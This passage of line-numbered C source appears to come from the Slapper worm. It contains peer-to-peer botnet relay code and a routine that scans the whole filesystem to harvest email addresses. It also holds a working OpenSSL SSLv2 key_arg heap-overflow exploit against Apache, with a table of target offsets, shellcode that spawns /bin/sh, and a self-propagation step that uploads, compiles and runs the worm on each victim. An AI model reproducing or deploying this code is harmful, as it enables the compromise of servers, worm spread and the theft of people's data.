736     unsigned int i,f;
737     unsigned char a=0,b=0;
738     conv(srv,256,server);
739     for (i=0;i<strlen(srv) && srv[i]!='.';i++);
740     srv[i]=0;
741     a=atoi(srv);
742     f=i+1;
743     for (i++;i<strlen(srv) && srv[i]!='.';i++);
744     srv[i]=0;
745     b=atoi(srv+f);
746     if (a == 127 || a == 10 || a == 0) return 0;
747     if (a == 172 && b >= 16 && b <= 31) return 0;
748     if (a == 192 && b == 168) return 0;
749     return 1;
750 }
751

```

```

752 u_short in_cksum(u_short *addr, int len) {
753     register int nleft = len;
754     register u_short *w = addr;
755     register int sum = 0;
756     u_short answer = 0;
757     while (nleft > 1) {
758         sum += *w++;
759         nleft -= 2;
760     }
761     if (nleft == 1) {
762         *(u_char *)&answer = *(u_char *)w;
763         sum += answer;
764     }
765     sum = (sum >> 16) + (sum & 0xffff);
766     sum += (sum >> 16);
767     answer = ~sum;
768     return(answer);
769 }
770
771 int usersa(unsigned long rs) {
772     unsigned long a;
773     if (rs == 0) return 0;
774     for (a=0;a<LINKS;a++) if (rsa[a] == rs) return 1;
775     return 0;
776 }
777
778 unsigned long newrsa() {
779     unsigned long rs;
780     while(1) {
781         rs=(rand()*rand())^rand();
782         if (usersa(rs) || rs == 0) continue;
783         break;
784     }
785     return rs;
786 }
787
788 void addrsa(unsigned long rs) {
789     unsigned long i;
790     for (i=LINKS-1;i>0;i--) rsa[i]=rsa[i-1];
791     rsa[0]=rs;
792 }
793
794 void delqueue(unsigned long id) {
795     struct mqueue *getqueue=queues, *prevqueue=NULL;
796     while(getqueue != NULL) {
797         if (getqueue->id == id) {
798             getqueue->trys--;
799             if (!getqueue->trys) {
800                 if (prevqueue) prevqueue->next=getqueue->next;
801                 else queues=getqueue->next;
802             }
803             return;
804         }
805         prevqueue=getqueue;
806         getqueue=getqueue->next;

```

```

807     }
808 }
809
810 int waitforqueues() {
811     if (mfork() == 0) {
812         sleep(gettimeout());
813         return 0;
814     }
815     return 1;
816 }
817
818 ///////////////////////////////////////////////////////////////////
819 //                               Sending functions                               //
820 ///////////////////////////////////////////////////////////////////
821
822 struct ainst udpsrv;
823
824 char *lowsend(struct ainst *ts,unsigned char b,char *buf,unsigned long len) {
825     struct llheader rp;
826     struct mqueue *q;
827     char *mbuf=(char*)malloc(sizeof(rp)+len);
828     if (mbuf == NULL) return NULL;
829     memset((void*)&rp,0,sizeof(struct llheader));
830     rp.checksum=in_cksum(buf,len);
831     rp.id=newrsa();
832     rp.type=0;
833     memcpy(mbuf,&rp,sizeof(rp));
834     memcpy(mbuf+sizeof(rp),buf,len);
835
836     q=(struct mqueue *)malloc(sizeof(struct mqueue));
837     q->packet=(char*)malloc(sizeof(rp)+len);
838     memcpy(q->packet,mbuf,sizeof(rp)+len);
839     q->len=sizeof(rp)+len;
840     q->id=rp.id;
841     q->time=time(NULL);
842     q->itime=time(NULL);
843     if (b) {
844         q->destination=0;
845         q->port=PORT;
846         q->trys=b;
847     }
848     else {
849         q->destination=ts->in.sin_addr.s_addr;
850         q->port=htons(ts->in.sin_port);
851         q->trys=1;
852     }
853     q->next=queues;
854     queues=q;
855
856     if (ts) {
857         audp_send(ts,mbuf,len+sizeof(rp));
858         FREE(mbuf);
859     }
860     else return mbuf;
861 }

```

```

862
863 int relayclient(struct ainst *ts,char *buf,unsigned long len) {
864     return lowsend(ts,0,buf,len)?1:0;
865 }
866
867 int relay(unsigned long server,char *buf,unsigned long len) {
868     struct ainst ts;
869     char srv[256];
870     memset((void*)&ts,0,sizeof(struct ainst));
871     conv(srv,256,server);
872     audp_relay(&udpserver,&ts,srv,PORT);
873     return lowsend(&ts,0,buf,len)?1:0;
874 }
875
876 void segment(unsigned char low,char *buf, unsigned long len) {
877     unsigned long a=0,c=0;
878     char *mbuf=NULL;
879     if (numlinks == 0 || links == NULL) return;
880     if (low) mbuf=lowsend(NULL,low,buf,len);
881     for(;c < 10;c++) {
882         a=rand()%numlinks;
883         if (links[a] != myip) {
884             struct ainst ts;
885             char srv[256];
886             memset((void*)&ts,0,sizeof(struct ainst));
887             conv(srv,256,links[a]);
888             audp_relay(&udpserver,&ts,srv,PORT);
889             if (mbuf) audp_send(&ts,mbuf,len+sizeof(struct llheader));
890             else audp_send(&ts,buf,len);
891             break;
892         }
893     }
894     FREE(mbuf);
895 }
896
897 void broadcast(char *buf,unsigned long len) {
898     struct route_rec rc;
899     char *str=(char*)malloc(sizeof(struct route_rec)+len+1);
900     if (str == NULL) return;
901     memset((void*)&rc,0,sizeof(struct route_rec));
902     rc.h.tag=0x26;
903     rc.h.id=rand();
904     rc.h.len=sizeof(struct route_rec)+len;
905     rc.h.seq=newseq();
906     rc.server=0;
907     rc.sync=syncmodes;
908     rc.links=numlinks;
909     rc.hops=5;
910     memcpy((void*)str,(void*)&rc,sizeof(struct route_rec));
911     memcpy((void*)(str+sizeof(struct route_rec)),(void*)buf,len);
912     segment(2,str,sizeof(struct route_rec)+len);
913     FREE(str);
914 }
915
916 void syncm(struct ainst *inst,char tag,int id) {

```

```

917     struct addsrv_rec rc;
918     struct next_rec { unsigned long server; } fc;
919     unsigned long a,b;
920     for (b=0;;b+=700) {
921         unsigned long _numlinks=numlinks-b>700?700:numlinks-b;
922         unsigned long *_links=links+b;
923         unsigned char *str;
924         if (b > numlinks) break;
925         str=(unsigned char*)malloc(sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct
next_rec)));
926         if (str == NULL) return;
927         memset((void*)&rc,0,sizeof(struct addsrv_rec));
928         rc.h.tag=tag;
929         rc.h.id=id;
930         if (id) rc.h.seq=newseq();
931         rc.h.len=sizeof(struct next_rec)*_numlinks;
932         memcpy((void*)str,(void*)&rc,sizeof(struct addsrv_rec));
933         for (a=0;a<_numlinks;a++) {
934             memset((void*)&fc,0,sizeof(struct next_rec));
935             fc.server=_links[a];
936             memcpy((void*)(str+sizeof(struct addsrv_rec)+(a*sizeof(struct
next_rec))),(void*)&fc,sizeof(struct next_rec));
937         }
938         if (!id) relay(inst->in.sin_addr.s_addr,(void*)str,sizeof(struct
addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
939         else relayclient(inst,(void*)str,sizeof(struct
addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
940         FREE(str);
941     }
942 }
943
944 void senderror(struct ainst *inst, int id, char *buf2) {
945     struct data_rec rc;
946     char *str,*buf=strdup(buf2);
947     memset((void*)&rc,0,sizeof(struct data_rec));
948     rc.h.tag=0x45;
949     rc.h.id=id;
950     rc.h.seq=newseq();
951     rc.h.len=strlen(buf2);
952     _encrypt(buf,strlen(buf2));
953     str=(char*)malloc(sizeof(struct data_rec)+strlen(buf2)+1);
954     if (str == NULL) {
955         FREE(buf);
956         return;
957     }
958     memcpy((void*)str,(void*)&rc,sizeof(struct data_rec));
959     memcpy((void*)(str+sizeof(struct data_rec)),buf,strlen(buf2));
960     relayclient(&udpclient,str,sizeof(struct data_rec)+strlen(buf2));
961     FREE(str);
962     FREE(buf);
963 }
964
965 ////////////////////////////////////////////////////////////////////
966 //                               Scan for email                               //
967 ////////////////////////////////////////////////////////////////////

```



```

968
969 int isgood(char a) {
970     if (a >= 'a' && a <= 'z') return 1;
971     if (a >= 'A' && a <= 'Z') return 1;
972     if (a >= '0' && a <= '9') return 1;
973     if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1;
974     return 0;
975 }
976
977 int islisten(char a) {
978     if (a == '.') return 1;
979     if (a >= 'a' && a <= 'z') return 1;
980     if (a >= 'A' && a <= 'Z') return 1;
981     return 0;
982 }
983
984 struct _linklist {
985     char *name;
986     struct _linklist *next;
987 } *linklist=NULL;
988
989 void AddToList(char *str) {
990     struct _linklist *getb=linklist,*newb;
991     while(getb != NULL) {
992         if (!strcmp(str,getb->name)) return;
993         getb=getb->next;
994     }
995     newb=(struct _linklist *)malloc(sizeof(struct _linklist));
996     if (newb == NULL) return;
997     newb->name=strdup(str);
998     newb->next=linklist;
999     linklist=newb;
1000 }
1001
1002 void cleanup(char *buf) {
1003     while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ')
1004     buf[strlen(buf)-1] = 0;
1005     while(*buf == '\n' || *buf == '\r' || *buf == ' ') {
1006         unsigned long i;
1007         for (i=strlen(buf)+1;i>0;i--) buf[i-1]=buf[i];
1008     }
1009 }
1010 void ScanFile(char *f) {
1011     FILE *file=fopen(f,"r");
1012     unsigned long startpos=0;
1013     if (file == NULL) return;
1014     while(1) {
1015         char buf[2];
1016         memset(buf,0,2);
1017         fseek(file,startpos,SEEK_SET);
1018         fread(buf,1,1,file);
1019         startpos++;
1020         if (feof(file)) break;
1021         if (*buf == '@') {

```

```

1022     char email[256],c,d;
1023     unsigned long pos=0;
1024     while(1) {
1025         unsigned long oldpos=ftell(file);
1026         fseek(file,-1,SEEK_CUR);
1027         c=fgetc(file);
1028         if (!isgood(c)) break;
1029         fseek(file,-1,SEEK_CUR);
1030         if (oldpos == ftell(file)) break;
1031     }
1032     for (pos=0,c=0,d=0;pos<255;pos++) {
1033         email[pos]=fgetc(file);
1034         if (email[pos] == '.') c++;
1035         if (email[pos] == '@') d++;
1036         if (!isgood(email[pos])) break;
1037     }
1038     email[pos]=0;
1039     if (c == 0 || d != 1) continue;
1040     if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
1041     if (*email == '@' || *email == '.' || !*email) continue;
1042     if (!strcmp(email,"webmaster@mydomain.com")) continue;
1043     for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
1044     if (c == 0) continue;
1045     if (!strncmp(email+c, ".hlp",4)) continue;
1046     for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
1047     if (d == 1) continue;
1048     AddToList(email);
1049     }
1050     }
1051     fclose(file);
1052 }
1053
1054 void StartScan() {
1055     FILE *f;
1056     f=popen("find / -type f", "r");
1057     if (f == NULL) return;
1058     while(1) {
1059         char fullfile[MAXPATH];
1060         memset(fullfile,0,MAXPATH);
1061         fgets(fullfile,MAXPATH,f);
1062         if (feof(f)) break;
1063         while(fullfile[strlen(fullfile)-1]=='\n' ||
1064             fullfile[strlen(fullfile)-1] == '\r')
1065             fullfile[strlen(fullfile)-1]=0;
1066         if (!strncmp(fullfile, "/proc",5)) continue;
1067         if (!strncmp(fullfile, "/dev",4)) continue;
1068         if (!strncmp(fullfile, "/bin",4)) continue;
1069         ScanFile(fullfile);
1070     }
1071 }
1072
1073 ////////////////////////////////////////////////////////////////////
1074 //                               Exploit                               //
1075 ////////////////////////////////////////////////////////////////////
1076

```

```

1077 #ifdef SCAN
1078 #include <openssl/ssl.h>
1079 #include <openssl/rsa.h>
1080 #include <openssl/x509.h>
1081 #include <openssl/evp.h>
1082
1083 char *GetAddress(char *ip) {
1084     struct sockaddr_in sin;
1085     fd_set fds;
1086     int n,d,sock;
1087     char buf[1024];
1088     struct timeval tv;
1089     sock = socket(PF_INET, SOCK_STREAM, 0);
1090     sin.sin_family = PF_INET;
1091     sin.sin_addr.s_addr = inet_addr(ip);
1092     sin.sin_port = htons(80);
1093     if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
1094     write(sock, "GET / HTTP/1.1\r\n\r\n", strlen("GET / HTTP/1.1\r\n\r\n"));
1095     tv.tv_sec = 15;
1096     tv.tv_usec = 0;
1097     FD_ZERO(&fds);
1098     FD_SET(sock, &fds);
1099     memset(buf, 0, sizeof(buf));
1100     if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
1101         if(FD_ISSET(sock, &fds)) {
1102             if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
1103             for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
1104                 char *start=buf+d+strlen("Server: ");
1105                 for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
1106                 cleanup(start);
1107                 return strdup(start);
1108             }
1109         }
1110     }
1111     return NULL;
1112 }
1113
1114 #define ENC(c) ((c) ? ((c) & 077) + ' ': '\n')
1115
1116 int sendch(int sock,int buf) {
1117     char a[2];
1118     int b=1;
1119     if (buf == '\n' || buf == '\\' || buf == '$') {
1120         a[0]='\\';
1121         a[1]=0;
1122         b=write(sock,a,1);
1123     }
1124     if (b <= 0) return b;
1125     a[0]=buf;
1126     a[1]=0;
1127     return write(sock,a,1);
1128 }
1129
1130 int writem(int sock, char *str) {
1131     return write(sock,str,strlen(str));

```

```

1132 }
1133
1134 int encode(int a) {
1135     register int ch, n;
1136     register char *p;
1137     char buf[80];
1138     FILE *in;
1139     if ((in=fopen("/tmp/.bugtraq.c", "r")) == NULL) return 0;
1140     writem(a, "begin 655 .bugtraq.c\n");
1141     while ((n = fread(buf, 1, 45, in)) {
1142         ch = ENC(n);
1143         if (sendch(a, ch) <= ASUCCESS) break;
1144         for (p = buf; n > 0; n -= 3, p += 3) {
1145             if (n < 3) {
1146                 p[2] = '\0';
1147                 if (n < 2) p[1] = '\0';
1148             }
1149             ch = *p >> 2;
1150             ch = ENC(ch);
1151             if (sendch(a, ch) <= ASUCCESS) break;
1152             ch = ((*p << 4) & 060) | ((p[1] >> 4) & 017);
1153             ch = ENC(ch);
1154             if (sendch(a, ch) <= ASUCCESS) break;
1155             ch = ((p[1] << 2) & 074) | ((p[2] >> 6) & 03);
1156             ch = ENC(ch);
1157             if (sendch(a, ch) <= ASUCCESS) break;
1158             ch = p[2] & 077;
1159             ch = ENC(ch);
1160             if (sendch(a, ch) <= ASUCCESS) break;
1161         }
1162         ch = '\n';
1163         if (sendch(a, ch) <= ASUCCESS) break;
1164         usleep(10);
1165     }
1166     if (ferror(in)) {
1167         fclose(in);
1168         return 0;
1169     }
1170     ch = ENC('\0');
1171     sendch(a, ch);
1172     ch = '\n';
1173     sendch(a, ch);
1174     writem(a, "end\n");
1175     if (in) fclose(in);
1176     return 1;
1177 }
1178
1179 #define MAX_ARCH 21
1180
1181 struct archs {
1182     char *os;
1183     char *apache;
1184     int func_addr;
1185 } architectures[] = {
1186     {"Gentoo", "", 0x08086c34},

```

```

1187     {"Debian", "1.3.26", 0x080863cc},
1188     {"Red-Hat", "1.3.6", 0x080707ec},
1189     {"Red-Hat", "1.3.9", 0x0808ccc4},
1190     {"Red-Hat", "1.3.12", 0x0808f614},
1191     {"Red-Hat", "1.3.12", 0x0809251c},
1192     {"Red-Hat", "1.3.19", 0x0809af8c},
1193     {"Red-Hat", "1.3.20", 0x080994d4},
1194     {"Red-Hat", "1.3.26", 0x08161c14},
1195     {"Red-Hat", "1.3.23", 0x0808528c},
1196     {"Red-Hat", "1.3.22", 0x0808400c},
1197     {"SuSE", "1.3.12", 0x0809f54c},
1198     {"SuSE", "1.3.17", 0x08099984},
1199     {"SuSE", "1.3.19", 0x08099ec8},
1200     {"SuSE", "1.3.20", 0x08099da8},
1201     {"SuSE", "1.3.23", 0x08086168},
1202     {"SuSE", "1.3.23", 0x080861c8},
1203     {"Mandrake", "1.3.14", 0x0809d6c4},
1204     {"Mandrake", "1.3.19", 0x0809ea98},
1205     {"Mandrake", "1.3.20", 0x0809e97c},
1206     {"Mandrake", "1.3.23", 0x08086580},
1207     {"Slackware", "1.3.26", 0x083d37fc},
1208     {"Slackware", "1.3.26", 0x080b2100}
1209 };
1210
1211 extern int errno;
1212
1213 int cipher;
1214 int ciphers;
1215
1216 #define FINDSCKPORTOFS      208 + 12 + 46
1217
1218 unsigned char overwrite_session_id_length[] =
1219     "AAAA"
1220     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
1221     "\x70\x00\x00\x00";
1222
1223 unsigned char overwrite_next_chunk[] =
1224     "AAAA"
1225     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
1226     "AAAA"
1227     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
1228     "AAAA"
1229     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
1230     "AAAA"
1231     "\x00\x00\x00\x00"
1232     "\x00\x00\x00\x00"
1233     "AAAA"
1234     "\x01\x00\x00\x00"
1235     "AAAA"
1236     "AAAA"
1237     "AAAA"
1238     "\x00\x00\x00\x00"
1239     "AAAA"
1240     "\x00\x00\x00\x00"
1241     "\x00\x00\x00\x00\x00\x00\x00\x00"

```

1242 "AAAAAAAA"  
1243  
1244 "\x00\x00\x00\x00"  
1245 "\x11\x00\x00\x00"  
1246 "fdfd"  
1247 "bkbk"  
1248 "\x10\x00\x00\x00"  
1249 "\x10\x00\x00\x00"  
1250  
1251 "\xeb\x0a\x90\x90"  
1252 "\x90\x90\x90\x90"  
1253 "\x90\x90\x90\x90"  
1254  
1255 "\x31\xdb"  
1256 "\x89\xe7"  
1257 "\x8d\x77\x10"  
1258 "\x89\x77\x04"  
1259 "\x8d\x4f\x20"  
1260 "\x89\x4f\x08"  
1261 "\xb3\x10"  
1262 "\x89\x19"  
1263 "\x31\xc9"  
1264 "\xb1\xff"  
1265 "\x89\x0f"  
1266 "\x51"  
1267 "\x31\xc0"  
1268 "\xb0\x66"  
1269 "\xb3\x07"  
1270 "\x89\xf9"  
1271 "\xcd\x80"  
1272 "\x59"  
1273 "\x31\xdb"  
1274 "\x39\xd8"  
1275 "\x75\x0a"  
1276 "\x66\xb8\x12\x34"  
1277 "\x66\x39\x46\x02"  
1278 "\x74\x02"  
1279 "\xe2\xe0"  
1280 "\x89\xcb"  
1281 "\x31\xc9"  
1282 "\xb1\x03"  
1283 "\x31\xc0"  
1284 "\xb0\x3f"  
1285 "\x49"  
1286 "\xcd\x80"  
1287 "\x41"  
1288 "\xe2\xf6"  
1289  
1290 "\x31\xc9"  
1291 "\xf7\xe1"  
1292 "\x51"  
1293 "\x5b"  
1294 "\xb0\xa4"  
1295 "\xcd\x80"  
1296

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```

1297     "\x31\xc0"
1298     "\x50"
1299     "\x68"//"sh"
1300     "\x68"//bin"
1301     "\x89\xe3"
1302     "\x50"
1303     "\x53"
1304     "\x89\xe1"
1305     "\x99"
1306     "\xb0\x0b"
1307     "\xcd\x80";
1308
1309 #define BUFSIZE 16384
1310 #define CHALLENGE_LENGTH 16
1311 #define RC4_KEY_LENGTH 16
1312 #define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
1313 #define n2s(c,s) ((s=(((unsigned int)(c[0])<< 8)|(((unsigned int)(c[1]))
1314 #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s
) & 0xff)),c+=2)
1315
1316 typedef struct {
1317     int sock;
1318     unsigned char challenge[CHALLENGE_LENGTH];
1319     unsigned char master_key[RC4_KEY_LENGTH];
1320     unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
1321     int conn_id_length;
1322     unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
1323     X509 *x509;
1324     unsigned char* read_key;
1325     unsigned char* write_key;
1326     RC4_KEY* rc4_read_key;
1327     RC4_KEY* rc4_write_key;
1328     int read_seq;
1329     int write_seq;
1330     int encrypted;
1331 } ssl_conn;
1332
1333 long getip(char *hostname) {
1334     struct hostent *he;
1335     long ipaddr;
1336     if ((ipaddr = inet_addr(hostname)) < 0) {
1337         if ((he = gethostbyname(hostname)) == NULL) exit(-1);
1338         memcpy(&ipaddr, he->h_addr, he->h_length);
1339     }
1340     return ipaddr;
1341 }
1342
1343 int sh(int sockfd) {
1344     char localip[256], rcv[1024];
1345     fd_set rset;
1346     int maxfd, n;
1347
1348     alarm(3600);
1349     writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
1350     writem(sockfd,"rm -rf /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << __eof__\n");

```

```

1351     encode(sockfd);
1352     writem(sockfd,"__eof__\n");
1353     conv(localip,256,myip);
1354     memset(rcv,0,1024);
1355     sprintf(rcv,"/usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq;gcc -o /tmp/.bugtraq
/tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit;\n",localip);
1356     writem(sockfd,rcv);
1357     for (;;) {
1358         FD_ZERO(&rset);
1359         FD_SET(sockfd, &rset);
1360         select(sockfd+1, &rset, NULL, NULL, NULL);
1361         if (FD_ISSET(sockfd, &rset)) if ((n = read(sockfd, rcv, sizeof(rcv))) == 0)
return 0;
1362     }
1363 }
1364
1365 int get_local_port(int sock) {
1366     struct sockaddr_in s_in;
1367     unsigned int namelen = sizeof(s_in);
1368     if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) exit(1);
1369     return s_in.sin_port;
1370 }
1371
1372 int connect_host(char* host, int port) {
1373     struct sockaddr_in s_in;
1374     int sock;
1375     s_in.sin_family = AF_INET;
1376     s_in.sin_addr.s_addr = getip(host);
1377     s_in.sin_port = htons(port);
1378     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) exit(1);
1379     alarm(10);
1380     if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) exit(1);
1381     alarm(0);
1382     return sock;
1383 }
1384
1385 ssl_conn* ssl_connect_host(char* host, int port) {
1386     ssl_conn* ssl;
1387     if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) exit(1);
1388     ssl->encrypted = 0;
1389     ssl->write_seq = 0;
1390     ssl->read_seq = 0;
1391     ssl->sock = connect_host(host, port);
1392     return ssl;
1393 }
1394
1395 char res_buf[30];
1396
1397 int read_data(int sock, unsigned char* buf, int len) {
1398     int l;
1399     int to_read = len;
1400     do {
1401         if ((l = read(sock, buf, to_read)) < 0) exit(1);
1402         to_read -= len;
1403     } while (to_read > 0);

```



```

1404         return len;
1405     }
1406
1407     int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) {
1408         int rec_len, padding;
1409         read_data(ssl->sock, buf, 2);
1410         if ((buf[0] & 0x80) == 0) {
1411             rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
1412             read_data(ssl->sock, &buf[2], 1);
1413             padding = (int)buf[2];
1414         }
1415         else {
1416             rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
1417             padding = 0;
1418         }
1419         if ((rec_len <= 0) || (rec_len > buf_size)) exit(1);
1420         read_data(ssl->sock, buf, rec_len);
1421         if (ssl->encrypted) {
1422             if (MD5_DIGEST_LENGTH + padding >= rec_len) {
1423                 if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) return 0;
1424                 else exit(1);
1425             }
1426             RC4(ssl->rc4_read_key, rec_len, buf, buf);
1427             rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
1428             memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
1429         }
1430         if (buf[0] == SSL2_MT_ERROR) {
1431             if (rec_len != 3) exit(1);
1432             else return 0;
1433         }
1434         return rec_len;
1435     }
1436
1437     void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) {
1438         unsigned char buf[BUFSIZE];
1439         unsigned char* p;
1440         int tot_len;
1441         MD5_CTX ctx;
1442         int seq;
1443         if (ssl->encrypted) tot_len = rec_len + MD5_DIGEST_LENGTH;
1444         else tot_len = rec_len;
1445
1446         if (2 + tot_len > BUFSIZE) exit(1);
1447
1448         p = buf;
1449         s2n(tot_len, p);
1450
1451         buf[0] = buf[0] | 0x80;
1452
1453         if (ssl->encrypted) {
1454             seq = ntohl(ssl->write_seq);
1455
1456             MD5_Init(&ctx);
1457             MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
1458             MD5_Update(&ctx, rec, rec_len);

```

```

1459         MD5_Update(&ctx, &seq, 4);
1460         MD5_Final(p, &ctx);
1461
1462         p+=MD5_DIGEST_LENGTH;
1463
1464         memcpy(p, rec, rec_len);
1465
1466         RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
1467     }
1468     else memcpy(p, rec, rec_len);
1469
1470     send(ssl->sock, buf, 2 + tot_len, 0);
1471
1472     ssl->write_seq++;
1473 }
1474
1475 void send_client_hello(ssl_conn *ssl) {
1476     int i;
1477     unsigned char buf[BUFSIZE] =
1478         "\x01"
1479         "\x00\x02"
1480         "\x00\x18"
1481         "\x00\x00"
1482         "\x00\x10"
1483         "\x07\x00\xc0\x05\x00\x80\x03\x00"
1484         "\x80\x01\x00\x80\x08\x00\x80\x06"
1485         "\x00\x40\x04\x00\x80\x02\x00\x80"
1486         "";
1487     for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] = (unsigned char) (rand()
>> 24);
1488     memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
1489     send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
1490 }
1491
1492 void get_server_hello(ssl_conn* ssl) {
1493     unsigned char buf[BUFSIZE];
1494     unsigned char *p, *end;
1495     int len;
1496     int server_version, cert_length, cs_length, conn_id_length;
1497     int found;
1498
1499     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
1500     if (len < 11) exit(1);
1501
1502     p = buf;
1503
1504     if (*(p++) != SSL2_MT_SERVER_HELLO) exit(1);
1505     if (*(p++) != 0) exit(1);
1506     if (*(p++) != 1) exit(1);
1507     n2s(p, server_version);
1508     if (server_version != 2) exit(1);
1509
1510     n2s(p, cert_length);
1511     n2s(p, cs_length);
1512     n2s(p, conn_id_length);

```

```

1513
1514     if (len != 11 + cert_length + cs_length + conn_id_length) exit(1);
1515     ssl->x509 = NULL;
1516     ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
1517     if (ssl->x509 == NULL) exit(1);
1518     if (cs_length % 3 != 0) exit(1);
1519
1520     found = 0;
1521     for (end=p+cs_length; p < end; p += 3) if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2]
== 0x80)) found = 1;
1522
1523     if (!found) exit(1);
1524
1525     if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) exit(1);
1526
1527     ssl->conn_id_length = conn_id_length;
1528     memcpy(ssl->conn_id, p, conn_id_length);
1529 }
1530
1531 void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int
key_arg_overwrite_len) {
1532     int encrypted_key_length, key_arg_length, record_length;
1533     unsigned char* p;
1534     int i;
1535     EVP_PKEY *pkey=NULL;
1536     unsigned char buf[BUFSIZE] =
1537         "\x02"
1538         "\x01\x00\x80"
1539         "\x00\x00"
1540         "\x00\x40"
1541         "\x00\x08";
1542     p = &buf[10];
1543     for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->master_key[i] = (unsigned char) (rand()
>> 24);
1544     pkey=X509_get_pubkey(ssl->x509);
1545     if (!pkey) exit(1);
1546     if (pkey->type != EVP_PKEY_RSA) exit(1);
1547     encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key,
&buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
1548     if (encrypted_key_length <= 0) exit(1);
1549     p += encrypted_key_length;
1550     if (key_arg_overwrite) {
1551         for (i = 0; i < 8; i++) *(p++) = (unsigned char) (rand() >> 24);
1552         memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
1553         key_arg_length = 8 + key_arg_overwrite_len;
1554     }
1555     else key_arg_length = 0;
1556     p = &buf[6];
1557     s2n(encrypted_key_length, p);
1558     s2n(key_arg_length, p);
1559     record_length = 10 + encrypted_key_length + key_arg_length;
1560     send_ssl_packet(ssl, buf, record_length);
1561     ssl->encrypted = 1;
1562 }
1563

```

```

1564 void generate_key_material(ssl_conn* ssl) {
1565     unsigned int i;
1566     MD5_CTX ctx;
1567     unsigned char *km;
1568     unsigned char c='0';
1569     km=ssl->key_material;
1570     for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
1571         MD5_Init(&ctx);
1572         MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
1573         MD5_Update(&ctx,&c,1);
1574         c++;
1575         MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
1576         MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
1577         MD5_Final(km,&ctx);
1578         km+=MD5_DIGEST_LENGTH;
1579     }
1580 }
1581
1582 void generate_session_keys(ssl_conn* ssl) {
1583     generate_key_material(ssl);
1584     ssl->read_key = &(ssl->key_material[0]);
1585     ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
1586     RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
1587     ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
1588     ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
1589     RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
1590 }
1591
1592 void get_server_verify(ssl_conn* ssl) {
1593     unsigned char buf[BUFSIZE];
1594     int len;
1595     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
1596     if (len != 1 + CHALLENGE_LENGTH) exit(1);
1597     if (buf[0] != SSL2_MT_SERVER_VERIFY) exit(1);
1598     if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) exit(1);
1599 }
1600
1601 void send_client_finished(ssl_conn* ssl) {
1602     unsigned char buf[BUFSIZE];
1603     buf[0] = SSL2_MT_CLIENT_FINISHED;
1604     memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
1605     send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
1606 }
1607
1608 void get_server_finished(ssl_conn* ssl) {
1609     unsigned char buf[BUFSIZE];
1610     int len;
1611     int i;
